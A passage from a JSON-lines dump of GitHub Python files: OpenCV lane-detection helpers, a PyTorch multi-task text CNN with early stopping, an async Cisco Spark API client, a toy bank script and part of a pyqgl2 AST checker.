sobel_kernel=3, mag_thresh=(0, 255)):\n \n # Apply the following steps to img\n # 1) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n # 2) Take the gradient in x and y separately\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n # 3) Calculate the magnitude \n mag = np.sqrt(sobelx**2 + sobely**2)\n # 4) Scale to 8-bit (0 - 255) and convert to type = np.uint8\n mag_scaled = (255*mag/np.max(mag)).astype(np.uint8)\n # 5) Create a binary mask where mag thresholds are met\n g = np.zeros_like(mag_scaled)\n g[(mag_scaled >= mag_thresh[0]) & (mag_scaled <= mag_thresh[1] ) ] = 1\n # 6) Return this mask as your binary_output image\n binary_output = g\n return binary_output\n\ndef dir_threshold(img, sobel_kernel=3, thresh=(0, np.pi/2)):\n \n # Apply the following steps to img\n # 1) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # 2) Take the gradient in x and y separately\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n # 3) Take the absolute value of the x and y gradients\n abs_sobelx = np.absolute(sobelx)\n abs_sobely = np.absolute(sobely)\n # 4) Use np.arctan2(abs_sobely, abs_sobelx) to calculate the direction of the gradient \n deriv = np.arctan2(abs_sobely, abs_sobelx)\n # 5) Create a binary mask where direction thresholds are met\n binary_mask = np.zeros_like(gray)\n binary_mask[(deriv <= thresh[1]) & (deriv > thresh[0])] = 1\n # 6) Return this mask as your binary_output image\n #binary_output = np.copy(img) # Remove this line\n return binary_mask\n\n\nimport pickle\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n# Read in the saved camera matrix and distortion coefficients\n# These are the arrays you calculated using cv2.calibrateCamera()\ndist_pickle = pickle.load( open( \"wide_dist_pickle.p\", \"rb\" ) )\nmtx = dist_pickle[\"mtx\"]\ndist = dist_pickle[\"dist\"]\n\n# Read in an image\nimg = cv2.imread('test_image2.png')\nnx = 8 # the number of inside corners in x\nny = 6 # the number of inside corners in y\n\n# MODIFY THIS FUNCTION TO GENERATE OUTPUT \n# THAT LOOKS LIKE THE IMAGE ABOVE\ndef corners_unwarp(img, nx, ny, mtx, dist):\n # Pass in your image into this function\n # Write code to do the following steps\n # 1) Undistort using mtx and dist\n und = cv2.undistort(img, mtx, dist, None, mtx)\n # 2) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # 3) Find the chessboard corners\n ret, corners = cv2.findChessboardCorners(gray, (nx, ny), None)\n # 4) If corners found: \n print(corners)\n if ret:\n cv2.drawChessboardCorners(img, (nx, ny), corners, ret)\n # a) draw corners\n src = np.float32([[454,160],[460,750],[1030,750],[1030,160]])\n # b) define 4 source points src = np.float32([[,],[,],[,],[,]])\n #Note: you could pick any four of the detected corners \n # as long as those four corners define a rectangle\n #One especially smart way to do this would be to use four well-chosen\n # corners that were automatically detected during the undistortion steps\n #We recommend using the automatic detection of corners in your code\n dst = np.float32([[100,100],[100,400],[400,400],[400,100]]) \n # c) define 4 destination points dst = np.float32([[,],[,],[,],[,]])\n M = cv2.getPerspectiveTransform(src, dst)\n # d) use cv2.getPerspectiveTransform() to get M, the transform matrix\n warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0]), flags=cv2.INTER_LINEAR)\n # e) use cv2.warpPerspective() to warp your image to a top-down view\n #delete the next two lines\n #M = None\n #warped = np.copy(img) \n return warped, M\n\ntop_down, perspective_M = corners_unwarp(img, nx, ny, mtx, dist)\nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(24, 9))\nf.tight_layout()\nax1.imshow(img)\nax1.set_title('Original Image', fontsize=50)\nax2.imshow(top_down)\nax2.set_title('Undistorted and Warped Image', fontsize=50)\nplt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.)\n","repo_name":"savan77/Self-Driving-Car-Nanodegree","sub_path":"CarND-Advanced-Lane-Lines/advanced_lane.py","file_name":"advanced_lane.py","file_ext":"py","file_size_in_byte":5734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34802168852","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom torch.autograd import Variable\nfrom torch.utils.data import dataloader\nfrom torch.backends import cudnn\nimport random\nimport decimal\nfrom copy import deepcopy\nfrom tqdm import tqdm\n\ndef frange(x, y, jump):\n while x < y:\n yield x\n x += jump\n\n\nclass TopKMS(nn.Module):\n def __init__(self, k=0.3):\n super(TopKMS, self).__init__()\n '''\n This class returns the top-k hardest examples in the train data based\n on the loss of these examples - similar to the paper \n \"Training Region-based Object Detectors with Online Hard Example Mining\"\n '''\n self.loss = nn.MSELoss()\n self.k = k\n return\n\n def forward(self, input, target):\n '''\n Argument shapes similar to the argument shapes required in the MSELoss\n function in the pytorch library\n '''\n loss = Variable(torch.Tensor(1).zero_())\n if torch.has_cudnn:\n loss = loss.cuda()\n for idx, row in enumerate(input):\n gt = target[idx]\n pred = torch.unsqueeze(row, 0)\n cost = self.loss(pred, gt.unsqueeze(0))\n loss = torch.cat((loss, cost.unsqueeze(0)), 0)\n loss = loss[1:]\n if self.k == 1.0 or input.size(0) == 1:\n valid_loss = loss\n else:\n index = torch.topk(loss, int(self.k * loss.size()[0]))\n valid_loss = loss[index[1]]\n return torch.mean(valid_loss)\n\n\nclass Convolutional(nn.Module):\n def __init__(self, input_size, num_of_kernels, drop_out_prob, sentence_size, hidden_size, num_of_classes):\n super(Convolutional, self).__init__()\n '''\n :param input_size: the feature size of the input\n :param num_of_kernels: number of kernels for each of the three window sizes\n :param drop_out_prob: the probability of applying dropout on the values\n :param sentence_size: the constant size of the input sentences\n :param hidden_size: the size of the hidden layer\n :param num_of_classes: the number of output classes\n '''\n torch.manual_seed(0)\n np.random.seed(0)\n if torch.has_cudnn:\n torch.cuda.manual_seed(0)\n cudnn.benchmark = True\n random.seed(0)\n # unigram\n self.unigram_conv = nn.Conv1d(input_size, num_of_kernels, 1)\n self.unigram_maxpool = nn.MaxPool1d(sentence_size)\n # bigram\n self.bigram_conv = nn.Conv1d(input_size, num_of_kernels, 2)\n self.bigram_maxpool = nn.MaxPool1d(sentence_size - 1)\n # trigram\n self.trigram_conv = nn.Conv1d(input_size, num_of_kernels, 3)\n self.trigram_maxpool = nn.MaxPool1d(sentence_size - 2)\n\n self.drop_out = nn.Dropout(drop_out_prob)\n\n self.hidden_layer = nn.Linear(3 * num_of_kernels, hidden_size)\n self.output_layer = nn.Linear(hidden_size, num_of_classes)\n\n self.entity_hidden_layer = nn.Linear(3 * num_of_kernels, hidden_size)\n self.entity_layer = nn.Linear(hidden_size, 6)\n\n self.attrib_hidden_layer = nn.Linear(3 * num_of_kernels, hidden_size)\n self.attrib_layer = nn.Linear(hidden_size, 5)\n\n def forward(self, x, validate=False):\n x = self.drop_out(x)\n x = x.transpose(1, 2)\n unigram = self.unigram_conv(x)\n unigram = self.unigram_maxpool(unigram)\n unigram = F.relu(unigram)\n\n bigram = self.bigram_conv(x)\n bigram = self.bigram_maxpool(bigram)\n bigram = F.relu(bigram)\n\n trigram = self.trigram_conv(x)\n trigram = self.trigram_maxpool(trigram)\n trigram = F.relu(trigram)\n\n x = torch.cat((unigram, bigram, trigram), dim=1).squeeze(-1)\n\n label = self.hidden_layer(x)\n label = self.output_layer(label)\n label = F.sigmoid(label)\n\n entity = self.entity_hidden_layer(x)\n entity = self.entity_layer(entity)\n entity = F.sigmoid(entity)\n\n attrib = self.attrib_hidden_layer(x)\n attrib = self.attrib_layer(attrib)\n attrib = F.sigmoid(attrib)\n\n return label, entity, attrib\n\n\nclass Net:\n def __init__(self, epochs, train_dataset, test_dataset, validation_dataset, learning_rate,\n entity_coeff, attrib_coeff, early_stopping_mode, early_stopping_min_delta, early_stopping_patience,\n num_of_kernels=512, drop_out_prob=0.4):\n '''\n This class performes the training process on the model\n :param epochs: number of epochs\n :param train_dataset: the train_dataset\n :param test_dataset: the test dataset\n :param validation_dataset: the validation dataset\n :param learning_rate: the learning rate of the model\n :param entity_coeff: the coefficient for applying the entity loss (for regularization effect)\n :param attrib_coeff: the coefficient for applying the attribute loss (for regularization effect)\n :param early_stopping_mode: the early stopping mode (min or max)\n :param early_stopping_min_delta: the early stopping delta (minimum improvement)\n :param early_stopping_patience: the early stopping patience\n :param num_of_kernels: number of kernels for each kernel window size\n :param drop_out_prob: the probability of applying dropout\n '''\n self.model = Convolutional(input_size=300,\n num_of_kernels=num_of_kernels,\n drop_out_prob=drop_out_prob,\n sentence_size=train_dataset.get_sentence_length(),\n hidden_size=150,\n num_of_classes=train_dataset.get_num_of_classes())\n if torch.has_cudnn:\n self.model.cuda()\n self.num_epochs = epochs\n self.early_stopping = EarlyStopping(early_stopping_mode, early_stopping_min_delta, early_stopping_patience)\n\n self.loss_function = TopKMS(k=0.4)\n self.validate_loss = nn.MSELoss()\n\n self.optimizer = torch.optim.Adam(self.model.parameters(), lr=learning_rate)\n\n self.entity_coeff = entity_coeff\n self.attrib_coeff = attrib_coeff\n\n self.train_loader = train_dataset\n self.test_loader = test_dataset\n self.validation_loader = validation_dataset\n\n def to_var(self, x):\n '''\n :param x: the input matrix\n :return: pytorch tensor version of the input matrix\n '''\n try:\n x = x.float()\n except AttributeError:\n x = torch.from_numpy(x).float()\n if torch.has_cudnn:\n x = Variable(x).cuda()\n else:\n x = Variable(x)\n return x\n\n def train(self, batch_size, plot_validate=False):\n validate_loss = []\n train_loss = []\n data_loader = dataloader.DataLoader(dataset=self.train_loader,\n batch_size=batch_size,\n shuffle=True,\n num_workers=0)\n for epoch in tqdm(range(self.num_epochs)):\n self.model.train()\n total_loss = []\n for i, (datas, labels, entity, attrib) in enumerate(data_loader):\n datas = self.to_var(datas)\n labels = self.to_var(labels)\n entity = self.to_var(entity)\n attrib = self.to_var(attrib)\n self.optimizer.zero_grad()\n outputs, entities, attribs = self.model(datas)\n\n label_loss = self.loss_function(outputs, labels.squeeze(1))\n entity_loss = self.loss_function(entities, entity.squeeze(1)) * self.entity_coeff\n attrib_loss = self.loss_function(attribs, attrib.squeeze(1)) * self.attrib_coeff\n\n loss = label_loss + entity_loss + attrib_loss\n loss.backward()\n self.optimizer.step()\n total_loss.append(label_loss.item())\n if plot_validate is True:\n valid_loss = self.validate()\n validate_loss.append(valid_loss)\n train_loss.append(float(sum(total_loss) / len(total_loss)))\n else:\n valid_loss = self.validate()\n if self.early_stopping.step(valid_loss, deepcopy(self.model)) is True:\n print('Early stopping at ' + str(epoch))\n self.model = self.early_stopping.best_model\n break\n if plot_validate is True:\n return train_loss, validate_loss\n\n def test(self):\n self.model.eval()\n pred_labels = []\n true_labels = []\n for data, label, entity, attrib in self.test_loader:\n data = self.to_var(data)\n data = data.unsqueeze(0)\n output, _, __ = self.model(data)\n\n output = output.squeeze(0)\n pred_labels.append(list(output))\n true_labels.append(label)\n best_result = [0.0, 0.0, 0.0, 0.0]\n val_f1, threshold = self.find_best_threshold()\n TP = 0\n FP = 0\n FN = 0\n for idx in range(len(pred_labels)):\n if idx == 12:\n continue\n output = pred_labels[idx]\n label = true_labels[idx]\n for i in range(len(list(output))):\n if float(output[i]) >= threshold:\n if i in label:\n TP += 1\n else:\n FP += 1\n else:\n if i in label:\n FN += 1\n try:\n precision = TP / (TP + FP)\n recall = TP / (TP + FN)\n f1 = 2 * (precision * recall) / (precision + recall)\n except ZeroDivisionError:\n f1 = 0.0\n return f1, precision, recall, val_f1\n\n def find_best_threshold(self):\n '''\n finding the best threshold based on the validation set\n '''\n self.model.eval()\n pred_labels = []\n true_labels = []\n best_result = [0.0, 0]\n data_loader = dataloader.DataLoader(dataset=self.validation_loader,\n batch_size=1,\n shuffle=False,\n num_workers=0)\n for datas, labels, _, __ in data_loader:\n datas = self.to_var(datas)\n labels = self.to_var(labels)\n outputs, _, __ = self.model(datas, validate=True)\n output = outputs.squeeze(0)\n pred_labels.append(list(output))\n true_labels.append(labels.squeeze(0).squeeze(0))\n for threshold in list(frange(0, 1, decimal.Decimal('0.01'))):\n TP = 0\n FP = 0\n FN = 0\n for idx in range(len(pred_labels)):\n if idx == 12:\n continue\n output = pred_labels[idx]\n label = true_labels[idx]\n for i in range(len(list(output))):\n if float(output[i]) >= threshold:\n if int(label[i]) == 1:\n TP += 1\n else:\n FP += 1\n else:\n if int(label[i]) == 1:\n FN += 1\n try:\n precision = TP / (TP + FP)\n recall = TP / (TP + FN)\n f1 = 2 * (precision * recall) / (precision + recall)\n except ZeroDivisionError:\n f1 = 0.0\n if f1 > best_result[0]:\n best_result[0] = f1\n best_result[1] = threshold\n return best_result[0], best_result[1]\n\n def validate(self):\n self.model.eval()\n valid_loss = 0\n data_loader = dataloader.DataLoader(dataset=self.validation_loader,\n batch_size=len(self.validation_loader),\n shuffle=False,\n num_workers=0)\n for datas, labels, entity, attrib in data_loader:\n datas = self.to_var(datas)\n labels = self.to_var(labels)\n outputs, _, __ = self.model(datas, validate=True)\n valid_loss += self.validate_loss(outputs, labels.squeeze(1))\n valid_loss = float(valid_loss)\n return valid_loss\n\n\nclass EarlyStopping(object):\n def __init__(self, mode='min', min_delta=0, patience=10):\n self.mode = mode\n self.min_delta = min_delta\n self.patience = patience\n self.best = None\n self.num_bad_epochs = 0\n self.is_better = None\n self._init_is_better(mode, min_delta)\n\n if patience == 0:\n self.is_better = lambda a, b: True\n\n def step(self, metrics, model):\n if self.best is None:\n self.best = metrics\n self.best_model = model\n return False\n\n if np.isnan(metrics):\n return True\n\n if self.is_better(metrics, self.best):\n self.num_bad_epochs = 0\n self.best = metrics\n self.best_model = model\n else:\n self.num_bad_epochs += 1\n\n if self.num_bad_epochs >= self.patience:\n return True\n\n return False\n\n def _init_is_better(self, mode, min_delta):\n if mode not in {'min', 'max'}:\n raise ValueError('mode ' + mode + ' is unknown!')\n if mode == 'min':\n self.is_better = lambda a, best: a < best - min_delta\n if mode == 'max':\n self.is_better = lambda a, best: a > best + min_delta\n\n def return_best_model(self):\n return self.best_model\n","repo_name":"erfan-ghadery/MNCN","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":13787,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"73965541200","text":"import itertools\nimport logging\n\nfrom collections import namedtuple\n\nfrom ..constants import API_BASE_URL, API_V1\nfrom ..pagination import ResponsePaginator\n\nlogger = logging.getLogger(__name__)\n\n\nApiResource = namedtuple('ApiResource', ['name', 'cursor'])\n\n\nclass ApiService(object):\n \"\"\"\n Base REST API client that provides high-level methods to perform CRUD operations.\n Delegates HTTP communication, authentication etc to the HTTP client.\n \"\"\"\n _base_url = API_BASE_URL\n _version = API_V1\n _resource = ApiResource(None, 'cursor')\n _paginator = ResponsePaginator\n\n def __init__(self, http_client):\n self._resource_url = f'{self._base_url}/{self._version}/{self._resource.name}'\n self.http_client = http_client\n\n def get_resource_url(self, id_or_path=None):\n \"\"\"\n Builds a resource URL for the given id or path (which may embed an id).\n :param id_or_path: An id or path that embeds and id.\n \"\"\"\n if id_or_path is not None:\n return f'{self._resource_url}/{id_or_path}'\n return self._resource_url\n\n async def request(self, method, id_or_path, params=None, data=None, json_response=True,\n **kwargs):\n \"\"\"\n Performs HTTP request and returns HTTP response.\n\n :param method: HTTP method (verb)\n :param id_or_path: id or path (with embedded id) of the resource entity\n :param data: POST data as dict\n :param params: URL parameters as dict\n :param json_response: Return `aiohttp.ClientResponse` object or JSON\n :param kwargs: named arguments passed to underlying HTTP client\n :return: dict (if json_response == True) or\n HTTP Response object (eg. `aiohttp.ClientResponse`)\n \"\"\"\n resource_url = self.get_resource_url(id_or_path=id_or_path)\n normalized_params = self._normalize_params(params)\n resp = await self.http_client.request(method,\n resource_url,\n params=normalized_params,\n json=data,\n **kwargs)\n return await resp.json() if json_response else resp\n\n @staticmethod\n def _normalize_params(d):\n if d is None or len(d) == 0:\n return {}\n params = {k: str(v).lower() if isinstance(v, bool) else str(v)\n for (k, v) in d.items() if v is not None}\n return params\n\n async def paginate_response(self, response, paginate=True, **kwargs):\n \"\"\"\n Iterates through a list of pages in a response and yields pairs of (item, cursor).\n\n Read more: https://developer.ciscospark.com/pagination.html\n\n :param response: `aiohttp.ClientResponse`\n \"\"\"\n has_more = True\n c = 0\n while has_more:\n c += 1\n logger.debug(f'Page #{c}')\n paginator = self._paginator(response)\n data = await response.json()\n items = data['items']\n if self._resource.cursor:\n cursor = paginator.get_cursor(cursor=self._resource.cursor)\n # Instead of yielding item, yield pairs (item, cursor)\n # ({}, 'bGltaXQ9MTAmc3RhcnRJbmRleD0yMQ==')\n items = itertools.product(items, [cursor, ])\n for item in items:\n yield item\n has_more = not paginator.is_last_page and paginate\n if has_more:\n response = await self.http_client.get(paginator.next_url, **kwargs)\n\n async def get_items(self, params, paginate=True, **kwargs):\n response = await self.list(params=params, json_response=False, **kwargs)\n items = self.paginate_response(response, paginate=paginate, **kwargs)\n async for item in items:\n yield item\n\n # A set of aliases to simplify usage of API client.\n def head(self, id_or_path, params=None, **kwargs):\n return self.request('HEAD', id_or_path, data=None, params=params,\n json_response=False, **kwargs)\n\n def get(self, id_or_path, params=None, json_response=True, **kwargs):\n return self.request('GET', id_or_path, data=None, params=params,\n json_response=json_response, **kwargs)\n\n def list(self, params=None, json_response=True, **kwargs):\n return self.get(None, params=params, json_response=json_response, **kwargs)\n\n def put(self, id_or_path, data=None, params=None, json_response=True, **kwargs):\n return self.request('PUT', id_or_path, data=data, params=params,\n json_response=json_response, **kwargs)\n\n def post(self, id_or_path=None, data=None, params=None, json_response=True, **kwargs):\n return self.request('POST', id_or_path, data=data, params=params,\n json_response=json_response, **kwargs)\n\n def delete(self, id_or_path, params=None, **kwargs):\n return self.request('DELETE', id_or_path, data=None, params=params,\n json_response=False, **kwargs)\n","repo_name":"andriyko/aiociscospark","sub_path":"aiociscospark/services/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"36581945482","text":"def text_box_gap():\n print(\"\"\"\"\"\")\n\n#AHHHHHHHHHHHHHHHHHHHHHHHHH\ndef Deposit():\n Add = open(\"moeny.txt\", \"r\")\n Adding = int(input(\"what amount of cash would you like to add: \"))\n FileLines = Add.readlines()\n print(FileLines)\n intCash = (FileLines[len(FileLines) - 1])\n print(intCash)\n print(type(intCash))\n curentbal = get_Balance_and_Transaction(intCash)\n print(curentbal)\n print(type(curentbal))\n intFileLines=int(curentbal)\n newBal = (intFileLines + Adding)\n print(intFileLines)\n Add.close()\n Add = open(\"moeny.txt\", \"a\")\n Add.writelines(\"\\n\" + str(newBal))\n Add.close()\n Add = open(\"moeny.txt\", \"r\")\n Add = Add.readlines()\n print(F\"you have added {Adding}$ to the bank, you now have {newBal}\")\n\n\ndef get_Balance_and_Transaction(BalanceString):\n curentbal = int(BalanceString[8:BalanceString.find(\"type\")].strip())\n TransType = (BalanceString[BalanceString.find(\"type\") + 5:].strip())\n return curentbal, TransType\n \n\n\ntry:\n User = open(\"Username.txt\", \"r\")\n User = User.readline()\n print(F\"Welcome back to the bank {User}\")\n\nexcept:\n User = open(\"Username.txt\", \"w\")\n User.write(input(\"what is thy name?: \"))\n User.close()\n User = open(\"Username.txt\", \"r\")\n User = User.readline()\n print(F\"Welcome to the bank {User}\")\n\ntry:\n Cash = open(\"moeny.txt\", \"r\")\nexcept:\n Cash = open(\"moeny.txt\", \"a\")\n Cash.write(\"balance: 100 type: deposit\")\n Cash.close()\n Cash = open(\"moeny.txt\", \"r\")\n\n Cashread = Cash.readlines()\n print(Cashread)\n intCash = (Cashread[len(Cashread) - 1])\n curentbal = int(intCash[8:intCash.find(\"type\")].strip())\n curentbal, TransType = get_Balance_and_Transaction(intCash)\n text_box_gap()\n print(F\"We are starting you off with {curentbal} dollars\")\n print(TransType)\n\nDeposit()\n","repo_name":"Ravenash0/back-up-of-banking","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71514063762","text":"import ast\n\nfrom ast import NodeVisitor\nfrom copy import deepcopy\n\n# For testing only\nif __name__ == '__main__':\n import os\n import sys\n\n # Find the directory that this executable lives in;\n # munge the path to look within the parent module\n #\n DIRNAME = os.path.normpath(\n os.path.abspath(os.path.dirname(sys.argv[0]) or '.'))\n sys.path.append(os.path.normpath(os.path.join(DIRNAME, '..')))\n\nimport pyqgl2.importer\n\nfrom pyqgl2.ast_util import NodeError\nfrom pyqgl2.ast_util import NodeTransformerWithFname\nfrom pyqgl2.ast_util import NodeVisitorWithFname\nfrom pyqgl2.check_symtab import CheckSymtab\nfrom pyqgl2.check_waveforms import CheckWaveforms\nfrom pyqgl2.lang import QGL2\n\nclass MutableValue(object):\n \"\"\"\n A degenerate class whose purpose is to serve as a sentinel;\n it can never appear in a valid QGL2 or QGL program, and therefore\n it can be used to mark values that are outside the domain of any\n constant in a QGL2 or QGL program: a constant can never have a\n value that is an instance of MutableValue.\n \"\"\"\n\n def __init__(self):\n pass\n\n\nclass FindConstants(NodeVisitor):\n\n def __init__(self, node):\n\n self.root = node\n\n # map from name to value for constants\n #\n # The first time we see a name, we assess whether it might\n # be a constant or might be mutable. If mutable, we give\n # it the special value of MutableValue(). Each time we\n # encounter the name again, we update our assessment.\n # If the name survives until the end of the process\n # with a single immutable value, then consider it a constant.\n #\n # Note that Python makes it challenging to identify\n # immutable values. There are many sneaky ways to change\n # bindings.\n #\n self.constants = dict()\n\n self.find_constants()\n\n def find_constants(self):\n\n self.constants = dict()\n self.visit(node)\n\n # Remove any names that don't appear to be bound to\n # constants\n #\n # iterate over a copy of the keys of the constants table,\n # so we can do surgery on the table without breaking the\n # iteration\n #\n for item in list(self.constants.keys()):\n if isinstance(self.constants[item], MutableValue):\n del self.constants[item]\n\n return self.constants\n\n def visit_Assign(self, node):\n\n # FIXME: can't handle nested tuples properly\n # For now we're not even going to try.\n\n if not isinstance(node.targets[0], ast.Name):\n NodeError.warning_msg(node, 'tuple returns not supported yet')\n self.generic_visit(node)\n return\n\n target = node.targets[0]\n\n print('CP target0: %s' % ast.dump(target))\n\n value = node.value\n name = target.id\n\n # TODO: what if the lval is an array or dict expression?\n # Need to sort out what's referenced by the lval.\n\n if isinstance(value, ast.Str):\n print('CP looks like a str assignment %s' % ast.dump(node))\n elif isinstance(value, ast.Num):\n print('CP looks like a num assignment %s' % ast.dump(node))\n elif isinstance(value, ast.List):\n print('CP looks like a list assignment %s' % ast.dump(node))\n\n elif isinstance(value, ast.Call):\n print('CP looks like a call assignment %s' % ast.dump(node))\n\n self.generic_visit(node)\n\n def visit_For(self, node):\n \"\"\"\n Discover loop variables.\n\n TODO: this is incomplete; we just assume that loop variables\n are all classical. We don't attempt to infer anything about the\n iterator.\n \"\"\"\n\n for subnode in ast.walk(node.target):\n if isinstance(subnode, ast.Attribute):\n # This is a fatal error and we don't want to confuse\n # ourselves by trying to process the ast.Name\n # nodes beneath\n #\n name_text = pyqgl2.importer.collapse_name(subnode)\n NodeError.fatal_msg(subnode,\n ('loop var [%s] is not local' % name_text))\n\n elif isinstance(subnode, ast.Name):\n name = subnode.id\n\n # Warn the user if they're doing something that's\n # likely to provoke an error\n #\n if self.name_is_in_lscope(name):\n NodeError.warning_msg(subnode,\n ('loop var [%s] hides sym in outer scope' % \n name))\n\n print('FOR %s' % name)\n self.constants[name] = MutableValue()\n\n self.visit_body(node.body)\n self.visit_body(node.orelse)\n\n def visit_ExceptHandler(self, node):\n name = node.name\n if name in self.constants:\n self.constants[name] = MutableValue()\n pass\n\n def visit_With(self, node):\n \"\"\"\n TODO: this is incomplete; we just assume that with-as variables\n are all classical. We don't attempt to infer anything about their\n type. (This is likely to be true in most cases, however)\n \"\"\"\n\n for item in node.items:\n if not item.optional_vars:\n continue\n\n for subnode in ast.walk(item.optional_vars):\n if isinstance(subnode, ast.Attribute):\n # This is a fatal error and we don't want to confuse\n # ourselves by trying to process the ast.Name\n # nodes beneath\n #\n name_text = pyqgl2.importer.collapse_name(subnode)\n NodeError.fatal_msg(subnode,\n ('with-as var [%s] is not local' % name_text))\n\n elif isinstance(subnode, ast.Name):\n name = subnode.id\n\n print('GOT WITH %s' % name)\n\n # Warn the user if they're doing something that's\n # likely to provoke an error\n #\n if self.name_is_in_lscope(name):\n NodeError.warn_msg(subnode,\n ('with-as var [%s] hides sym in outer scope' % \n name))\n self.add_type_binding(subnode, subnode.id, QGL2.CLASSICAL)\n\n self.visit_body(node.body)\n\n\n\nclass CheckType(NodeTransformerWithFname):\n\n def __init__(self, fname, importer=None):\n super(CheckType, self).__init__()\n\n # for each qbit, track where it is created\n #\n # the key is the qbit number, and the val is the name\n # and where it's created\n #\n self.qbit_origins = dict()\n\n # a list of scope tuples: (name, qbit?, context)\n #\n # We begin with the global scope, initially empty\n #\n self.scope = list(list())\n self.local = list(list())\n\n self.func_defs = dict()\n\n self.func_level = 0\n\n self.waveforms = dict()\n\n # Reference to the main function, if any\n #\n self.qglmain = None\n\n self.qgl_call_stack = list()\n\n self.importer = importer\n\n def _push_scope(self, qbit_scope):\n self.scope.append(qbit_scope)\n\n def _pop_scope(self):\n self.scope = self.scope[:-1]\n\n def _qbit_scope(self):\n return self.scope[-1]\n\n def _extend_scope(self, name):\n self.scope[-1].append(name)\n\n def _push_local(self, qbit_local):\n self.local.append(qbit_local)\n\n def _pop_local(self):\n self.local = self.local[:-1]\n\n def _qbit_local(self):\n return self.local[-1]\n\n def _extend_local(self, name):\n self.local[-1].append(name)\n\n def assign_simple(self, node):\n\n target = node.targets[0]\n value = node.value\n\n print('XX qbit_scope %s %s' % (str(self._qbit_scope()), ast.dump(node)))\n if not isinstance(target, ast.Name):\n return node\n\n if target.id in self._qbit_local():\n msg = 'reassignment of qbit \\'%s\\' forbidden' % target.id\n self.error_msg(node, msg)\n return node\n\n if (target.id + ':qbit') in self._qbit_scope():\n msg = 'reassignment of qbit parameter \\'%s\\' forbidden' % target.id\n self.error_msg(node, msg)\n return node\n\n print('XX qbit_scope %s %s' % (str(self._qbit_scope()), ast.dump(node)))\n\n if isinstance(value, ast.Name):\n # print('CHECKING %s' % str(self._qbit_scope()))\n if (value.id + ':qbit') in self._qbit_scope():\n self.warning_msg(node,\n 'aliasing qbit parameter \\'%s\\' as \\'%s\\'' %\n (value.id, target.id))\n self._extend_local(target.id)\n elif value.id in self._qbit_local():\n self.warning_msg(node,\n 'aliasing local qbit \\'%s\\' as \\'%s\\'' %\n (value.id, target.id))\n self._extend_local(target.id)\n\n elif isinstance(value, ast.Call):\n func_name = pyqgl2.importer.collapse_name(value.func)\n func_def = self.importer.resolve_sym(value.qgl_fname, func_name)\n\n # If we can't find the function definition, or it's not declared\n # to be QGL, then we can't handle it. Return immediately.\n #\n if not func_def:\n NodeError.error_msg(\n value, 'function [%s] not defined' % func_name)\n return node\n\n if func_def.returns:\n rtype = func_def.returns\n if (isinstance(rtype, ast.Name) and rtype.id == QGL2.QBIT):\n # Not sure what happens if we get here: we might\n # have a wandering variable that we know is a qbit,\n # but we never know which one.\n #\n print('XX EXTENDING LOCAL (%s)' % target.id)\n self._extend_local(target.id)\n target.qgl_is_qbit = True\n\n if not func_def.qgl_func:\n # TODO: this seems bogus. We should be able to call\n # out to non-QGL functions\n #\n NodeError.error_msg(\n value, 'function [%s] not declared to be QGL2' %\n func_name)\n return node\n\n print('NNN lookup [%s] got %s' % (func_name, str(func_def)))\n print('NNN FuncDef %s' % ast.dump(func_def))\n print('NNN CALL [%s]' % func_name)\n\n # When we're figuring out whether something is a call to\n # the Qbit assignment function, we look at the name of the\n # function as it is defined (i.e, as func_def), not as it\n # is imported (i.e., as func_name).\n #\n # This makes the assumption that ANYTHING named 'Qubit'\n # is a Qbit assignment function, which is lame and should\n # be more carefully parameterized. Things to think about:\n # looking more deeply at its signature and making certain\n # that it looks like the 'right' function and not something\n # someone mistakenly named 'Qubit' in an unrelated context.\n #\n if isinstance(value, ast.Call) and (func_def.name == QGL2.QBIT_ALLOC):\n self._extend_local(target.id)\n print('XX EXTENDED to include %s %s' %\n (target.id, str(self._qbit_local())))\n\n return node\n\n def visit_Assign(self, node):\n\n # We only do singleton assignments, not tuples,\n # and not expressions\n #\n # TODO: fix this to handle arbitrary assignments\n\n if isinstance(node.targets[0], ast.Name):\n self.assign_simple(node)\n\n self.generic_visit(node)\n return node\n\n def visit_FunctionDef(self, node):\n\n # print('>>> %s' % ast.dump(node))\n\n # Initialize the called functions list for this\n # definition, and then push this context onto\n # the call stack. The call stack is a stack of\n # call lists, with the top of the stack being\n # the current function at the top and bottom\n # of each function definition.\n #\n # We do this for all functions, not just QGL functions,\n # because we might want to be able to analyze non-QGL\n # functions\n #\n self.qgl_call_stack.append(list())\n\n if self.func_level > 0:\n self.error_msg(node, '%s functions cannot be nested' % QGL2.QDECL)\n\n # So far so good: now actually begin to process this node\n\n if hasattr(node, 'qgl_args'):\n decls = node.qgl_args\n else:\n decls = list()\n\n # diagnostic only\n self.diag_msg(\n node, '%s declares qbits %s' % (node.name, str(decls)))\n self._push_scope(decls)\n self._push_local(list())\n\n self.func_level += 1\n self.generic_visit(node)\n self.func_level -= 1\n\n # make a copy of this node and its qbit scope\n\n node.qgl_call_list = self.qgl_call_stack.pop()\n\n # print('DECLS: %s %s' % (node.name, str(decls)))\n 